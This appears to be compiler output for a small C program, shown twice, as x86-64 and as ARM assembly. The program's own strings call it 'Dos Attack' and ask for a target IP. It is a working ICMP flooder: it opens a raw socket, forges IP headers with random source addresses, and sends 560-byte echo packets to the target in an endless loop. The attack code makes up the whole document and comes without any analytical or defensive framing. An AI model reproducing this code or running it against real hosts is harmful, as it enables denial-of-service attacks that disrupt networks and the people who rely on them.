	.file	"11075565.c"
	.intel_syntax noprefix
	.text
	.globl	checksum
	.type	checksum, @function
checksum:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	QWORD PTR -24[rbp], rdi
	mov	DWORD PTR -28[rbp], esi
	mov	QWORD PTR -8[rbp], 0
	jmp	.L2
.L3:
	mov	rax, QWORD PTR -24[rbp]
	lea	rdx, 2[rax]
	mov	QWORD PTR -24[rbp], rdx
	movzx	eax, WORD PTR [rax]
	movzx	eax, ax
	add	QWORD PTR -8[rbp], rax
	mov	eax, DWORD PTR -28[rbp]
	sub	eax, 2
	mov	DWORD PTR -28[rbp], eax
.L2:
	cmp	DWORD PTR -28[rbp], 1
	jg	.L3
	cmp	DWORD PTR -28[rbp], 0
	je	.L5
	mov	rax, QWORD PTR -24[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	add	QWORD PTR -8[rbp], rax
	jmp	.L5
.L6:
	mov	rax, QWORD PTR -8[rbp]
	shr	rax, 16
	mov	rdx, rax
	mov	rax, QWORD PTR -8[rbp]
	movzx	eax, ax
	add	rax, rdx
	mov	QWORD PTR -8[rbp], rax
.L5:
	mov	rax, QWORD PTR -8[rbp]
	shr	rax, 16
	test	rax, rax
	jne	.L6
	mov	rax, QWORD PTR -8[rbp]
	not	eax
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	checksum, .-checksum
	.section	.rodata
	.align 8
.LC0:
	.string	"Dos Attack: Type 1, normal dos.\n"
.LC1:
	.string	"Usage:"
.LC2:
	.string	"sudo %s <target ip>\n"
.LC3:
	.string	"Raw socket create failed!"
	.align 8
.LC4:
	.string	"Set socket option IP_HDRINCL failed! (Can't set ip header by this program.)"
	.align 8
.LC5:
	.string	"Set socket option SO_BROADCAST failed! (Can't broadcast.)"
.LC6:
	.string	"Malloc error!"
.LC7:
	.string	"Attacking!"
.LC8:
	.string	"Send error!"
.LC9:
	.string	"%d packets were sent\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 112
	mov	DWORD PTR -100[rbp], edi
	mov	QWORD PTR -112[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rdi, .LC0[rip]
	call	puts@PLT
	cmp	DWORD PTR -100[rbp], 1
	jg	.L9
	lea	rdi, .LC1[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -112[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, -1
	call	exit@PLT
.L9:
	call	rand@PLT
	cdqe
	mov	QWORD PTR -72[rbp], rax
	mov	rax, QWORD PTR -112[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	inet_addr@PLT
	mov	eax, eax
	mov	QWORD PTR -64[rbp], rax
	mov	edx, 255
	mov	esi, 3
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -88[rbp], eax
	cmp	DWORD PTR -88[rbp], 0
	jns	.L10
	lea	rdi, .LC3[rip]
	call	puts@PLT
	mov	edi, -1
	call	exit@PLT
.L10:
	mov	DWORD PTR -96[rbp], 1
	lea	rdx, -96[rbp]
	mov	eax, DWORD PTR -88[rbp]
	mov	r8d, 4
	mov	rcx, rdx
	mov	edx, 3
	mov	esi, 0
	mov	edi, eax
	call	setsockopt@PLT
	cmp	eax, -1
	jne	.L11
	lea	rdi, .LC4[rip]
	call	puts@PLT
	mov	edi, -1
	call	exit@PLT
.L11:
	lea	rdx, -96[rbp]
	mov	eax, DWORD PTR -88[rbp]
	mov	r8d, 4
	mov	rcx, rdx
	mov	edx, 6
	mov	esi, 1
	mov	edi, eax
	call	setsockopt@PLT
	cmp	eax, -1
	jne	.L12
	lea	rdi, .LC5[rip]
	call	puts@PLT
	mov	edi, -1
	call	exit@PLT
.L12:
	mov	DWORD PTR -84[rbp], 560
	mov	eax, DWORD PTR -84[rbp]
	cdqe
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -56[rbp], rax
	cmp	QWORD PTR -56[rbp], 0
	jne	.L13
	lea	rdi, .LC6[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L13:
	mov	eax, DWORD PTR -84[rbp]
	cdqe
	mov	rdx, QWORD PTR -56[rbp]
	mov	rcx, rdx
	mov	rdx, rax
	mov	esi, 0
	mov	rdi, rcx
	call	memset@PLT
	mov	rax, QWORD PTR -56[rbp]
	mov	QWORD PTR -48[rbp], rax
	mov	rax, QWORD PTR -56[rbp]
	add	rax, 20
	mov	QWORD PTR -40[rbp], rax
	mov	DWORD PTR -80[rbp], 560
	mov	rax, QWORD PTR -48[rbp]
	movzx	edx, BYTE PTR [rax]
	and	edx, 15
	or	edx, 64
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -48[rbp]
	movzx	edx, BYTE PTR [rax]
	and	edx, -16
	or	edx, 5
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -48[rbp]
	mov	BYTE PTR 1[rax], 0
	mov	eax, DWORD PTR -84[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	rdx, QWORD PTR -48[rbp]
	mov	WORD PTR 2[rdx], ax
	call	getpid@PLT
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	rdx, QWORD PTR -48[rbp]
	mov	WORD PTR 4[rdx], ax
	mov	rax, QWORD PTR -48[rbp]
	mov	WORD PTR 6[rax], 0
	mov	rax, QWORD PTR -48[rbp]
	mov	BYTE PTR 8[rax], -1
	mov	rax, QWORD PTR -48[rbp]
	mov	BYTE PTR 9[rax], 1
	mov	rax, QWORD PTR -48[rbp]
	mov	WORD PTR 10[rax], 0
	mov	rax, QWORD PTR -72[rbp]
	mov	edx, eax
	mov	rax, QWORD PTR -48[rbp]
	mov	DWORD PTR 12[rax], edx
	mov	rax, QWORD PTR -64[rbp]
	mov	edx, eax
	mov	rax, QWORD PTR -48[rbp]
	mov	DWORD PTR 16[rax], edx
	mov	rax, QWORD PTR -40[rbp]
	mov	BYTE PTR [rax], 8
	mov	rax, QWORD PTR -40[rbp]
	mov	BYTE PTR 1[rax], 0
	mov	rax, QWORD PTR -40[rbp]
	mov	WORD PTR 2[rax], 0
	lea	rax, -32[rbp]
	mov	QWORD PTR [rax], 0
	mov	QWORD PTR 8[rax], 0
	mov	WORD PTR -32[rbp], 2
	mov	rax, QWORD PTR -64[rbp]
	mov	DWORD PTR -28[rbp], eax
	mov	DWORD PTR -92[rbp], 0
	lea	rdi, .LC7[rip]
	call	puts@PLT
.L15:
	call	rand@PLT
	mov	edx, eax
	movsx	rax, edx
	imul	rax, rax, -2139062143
	shr	rax, 32
	add	eax, edx
	sar	eax, 7
	mov	ecx, edx
	sar	ecx, 31
	sub	eax, ecx
	mov	ecx, eax
	sal	ecx, 8
	sub	ecx, eax
	mov	eax, edx
	sub	eax, ecx
	mov	rdx, QWORD PTR -56[rbp]
	lea	rcx, 48[rdx]
	mov	edx, 512
	mov	esi, eax
	mov	rdi, rcx
	call	memset@PLT
	mov	rax, QWORD PTR -40[rbp]
	mov	esi, 540
	mov	rdi, rax
	call	checksum
	mov	rdx, QWORD PTR -40[rbp]
	mov	WORD PTR 2[rdx], ax
	mov	eax, DWORD PTR -80[rbp]
	movsx	rdx, eax
	lea	rcx, -32[rbp]
	mov	rsi, QWORD PTR -56[rbp]
	mov	eax, DWORD PTR -88[rbp]
	mov	r9d, 16
	mov	r8, rcx
	mov	ecx, 0
	mov	edi, eax
	call	sendto@PLT
	mov	DWORD PTR -76[rbp], eax
	cmp	DWORD PTR -76[rbp], 0
	jg	.L14
	lea	rdi, .LC8[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -56[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	eax, DWORD PTR -88[rbp]
	mov	edi, eax
	call	close@PLT
.L14:
	add	DWORD PTR -92[rbp], 1
	mov	eax, DWORD PTR -92[rbp]
	mov	esi, eax
	lea	rdi, .LC9[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rdi, rax
	call	fflush@PLT
	jmp	.L15
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"11075565.c"
	.text
	.align	2
	.global	checksum
	.syntax unified
	.arm
	.fpu softvfp
	.type	checksum, %function
checksum:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #20
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L2
.L3:
	ldr	r3, [fp, #-16]
	add	r2, r3, #2
	str	r2, [fp, #-16]
	ldrh	r3, [r3]
	mov	r2, r3
	ldr	r3, [fp, #-8]
	add	r3, r3, r2
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-20]
	sub	r3, r3, #2
	str	r3, [fp, #-20]
.L2:
	ldr	r3, [fp, #-20]
	cmp	r3, #1
	bgt	.L3
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	beq	.L5
	ldr	r3, [fp, #-16]
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, [fp, #-8]
	add	r3, r3, r2
	str	r3, [fp, #-8]
	b	.L5
.L6:
	ldr	r3, [fp, #-8]
	lsr	r2, r3, #16
	ldr	r3, [fp, #-8]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r2, r3
	str	r3, [fp, #-8]
.L5:
	ldr	r3, [fp, #-8]
	lsr	r3, r3, #16
	cmp	r3, #0
	bne	.L6
	ldr	r3, [fp, #-8]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mvn	r3, r3
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
	.size	checksum, .-checksum
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Dos Attack: Type 1, normal dos.\012\000"
	.align	2
.LC1:
	.ascii	"Usage:\000"
	.align	2
.LC2:
	.ascii	"sudo %s <target ip>\012\000"
	.align	2
.LC3:
	.ascii	"Raw socket create failed!\000"
	.align	2
.LC4:
	.ascii	"Set socket option IP_HDRINCL failed! (Can't set ip "
	.ascii	"header by this program.)\000"
	.align	2
.LC5:
	.ascii	"Set socket option SO_BROADCAST failed! (Can't broad"
	.ascii	"cast.)\000"
	.align	2
.LC6:
	.ascii	"Malloc error!\000"
	.align	2
.LC7:
	.ascii	"Attacking!\000"
	.align	2
.LC8:
	.ascii	"Send error!\000"
	.align	2
.LC9:
	.ascii	"%d packets were sent\012\000"
	.align	2
.LC10:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 72
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #84
	str	r0, [fp, #-80]
	str	r1, [fp, #-84]
	ldr	r3, .L17
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	ldr	r0, .L17+4
	bl	puts
	ldr	r3, [fp, #-80]
	cmp	r3, #1
	bgt	.L9
	ldr	r0, .L17+8
	bl	puts
	ldr	r3, [fp, #-84]
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L17+12
	bl	printf
	mvn	r0, #0
	bl	exit
.L9:
	bl	rand
	mov	r3, r0
	str	r3, [fp, #-68]
	ldr	r3, [fp, #-84]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	inet_addr
	str	r0, [fp, #-64]
	mov	r2, #255
	mov	r1, #3
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-60]
	ldr	r3, [fp, #-60]
	cmp	r3, #0
	bge	.L10
	ldr	r0, .L17+16
	bl	puts
	mvn	r0, #0
	bl	exit
.L10:
	mov	r3, #1
	str	r3, [fp, #-76]
	sub	r3, fp, #76
	mov	r2, #4
	str	r2, [sp]
	mov	r2, #3
	mov	r1, #0
	ldr	r0, [fp, #-60]
	bl	setsockopt
	mov	r3, r0
	cmn	r3, #1
	bne	.L11
	ldr	r0, .L17+20
	bl	puts
	mvn	r0, #0
	bl	exit
.L11:
	sub	r3, fp, #76
	mov	r2, #4
	str	r2, [sp]
	mov	r2, #6
	mov	r1, #1
	ldr	r0, [fp, #-60]
	bl	setsockopt
	mov	r3, r0
	cmn	r3, #1
	bne	.L12
	ldr	r0, .L17+24
	bl	puts
	mvn	r0, #0
	bl	exit
.L12:
	mov	r3, #560
	str	r3, [fp, #-56]
	ldr	r3, [fp, #-56]
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-52]
	ldr	r3, [fp, #-52]
	cmp	r3, #0
	bne	.L13
	ldr	r0, .L17+28
	bl	puts
	mov	r0, #1
	bl	exit
.L13:
	ldr	r3, [fp, #-56]
	ldr	r2, [fp, #-52]
	mov	r0, r2
	mov	r2, r3
	mov	r1, #0
	bl	memset
	ldr	r3, [fp, #-52]
	str	r3, [fp, #-48]
	ldr	r3, [fp, #-52]
	add	r3, r3, #20
	str	r3, [fp, #-44]
	mov	r3, #560
	str	r3, [fp, #-40]
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2]
	bic	r3, r3, #176
	orr	r3, r3, #64
	strb	r3, [r2]
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2]
	bic	r3, r3, #10
	orr	r3, r3, #5
	strb	r3, [r2]
	ldr	r3, [fp, #-48]
	mov	r2, #0
	strb	r2, [r3, #1]
	ldr	r3, [fp, #-56]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-48]
	strh	r2, [r3, #2]	@ movhi
	bl	getpid
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-48]
	strh	r2, [r3, #4]	@ movhi
	ldr	r3, [fp, #-48]
	mov	r2, #0
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, [fp, #-48]
	mvn	r2, #0
	strb	r2, [r3, #8]
	ldr	r3, [fp, #-48]
	mov	r2, #1
	strb	r2, [r3, #9]
	ldr	r3, [fp, #-48]
	mov	r2, #0
	strh	r2, [r3, #10]	@ movhi
	ldr	r3, [fp, #-48]
	ldr	r2, [fp, #-68]
	str	r2, [r3, #12]
	ldr	r3, [fp, #-48]
	ldr	r2, [fp, #-64]
	str	r2, [r3, #16]
	ldr	r3, [fp, #-44]
	mov	r2, #8
	strb	r2, [r3]
	ldr	r3, [fp, #-44]
	mov	r2, #0
	strb	r2, [r3, #1]
	ldr	r3, [fp, #-44]
	mov	r2, #0
	strh	r2, [r3, #2]	@ movhi
	sub	r3, fp, #32
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2]
	str	r3, [r2, #4]
	str	r3, [r2, #8]
	str	r3, [r2, #12]
	mov	r3, #2
	strh	r3, [fp, #-32]	@ movhi
	ldr	r3, [fp, #-64]
	str	r3, [fp, #-28]
	mov	r3, #0
	str	r3, [fp, #-72]
	ldr	r0, .L17+32
	bl	puts
.L15:
	ldr	r3, [fp, #-52]
	add	r4, r3, #48
	bl	rand
	mov	r2, r0
	ldr	r3, .L17+36
	smull	r1, r3, r2, r3
	add	r3, r3, r2
	asr	r1, r3, #7
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #8
	sub	r3, r3, r1
	sub	r1, r2, r3
	mov	r2, #512
	mov	r0, r4
	bl	memset
	mov	r1, #540
	ldr	r0, [fp, #-44]
	bl	checksum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-44]
	strh	r2, [r3, #2]	@ movhi
	ldr	r2, [fp, #-40]
	mov	r3, #16
	str	r3, [sp, #4]
	sub	r3, fp, #32
	str	r3, [sp]
	mov	r3, #0
	ldr	r1, [fp, #-52]
	ldr	r0, [fp, #-60]
	bl	sendto
	str	r0, [fp, #-36]
	ldr	r3, [fp, #-36]
	cmp	r3, #0
	bgt	.L14
	ldr	r0, .L17+40
	bl	puts
	ldr	r0, [fp, #-52]
	bl	free
	ldr	r0, [fp, #-60]
	bl	close
.L14:
	ldr	r3, [fp, #-72]
	add	r3, r3, #1
	str	r3, [fp, #-72]
	ldr	r1, [fp, #-72]
	ldr	r0, .L17+44
	bl	printf
	ldr	r3, .L17+48
	ldr	r3, [r3]
	mov	r0, r3
	bl	fflush
	b	.L15
.L18:
	.align	2
.L17:
	.word	.LC10
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	-2139062143
	.word	.LC8
	.word	.LC9
	.word	stdout
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
